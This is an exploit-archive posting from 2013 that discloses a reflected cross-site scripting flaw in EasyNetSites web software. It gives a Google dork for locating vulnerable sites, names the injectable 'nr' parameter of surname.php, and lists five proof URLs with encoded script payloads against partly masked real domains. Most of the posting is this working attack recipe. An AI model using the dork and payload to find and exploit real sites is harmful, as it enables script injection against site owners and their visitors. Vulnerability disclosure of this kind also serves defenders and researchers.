Home / exploits

PDF

EasyNetSites Cross site scripting vulnerability

Posted on 24 August 2013

<pre>#****************************************************************************
# Exploit Title : EasyNetSites Cross site scripting vulnerability
# Exploit Author : Ashiyane Digital Security Team
# Date: 2013/08/21
# Vendor Page: http://www.easynetsites.com/
#****************************************************************************
# Tested on: Windows,Linux
#****************************************************************************
#
#///////////////////////////////////////////////
# Google Dork : intext:&quot;Design by Webworx Design Group using EasyNetSites.com Webware&quot;
#///////////////////////////////////////////////
# Location : /surname.php/?nr=[xss]
#
# Proof:
#
# http://wwXXrg/surname.php/?nr=%3Cscript%3Ealert%281%29;%3C/script%3E
#
# http://wwXXXrg/surname.php/?nr=%3Cscript%3Ealert%281%29;%3C/script%3E
#
# http://wwwXXg/surname.php/?nr=%3Cscript%3Ealert%281%29;%3C/script%3E
#
# http://wwXXrg/surname.php/?nr=%3Cscript%3Ealert%281%29;%3C/script%3E
#
# http://wXXXrg/surname.php/?nr=%3Cscript%3Ealert%281%29;%3C/script%3E
#
#########################
discovered by : ACC3SS
#########################
</pre>

 

TOP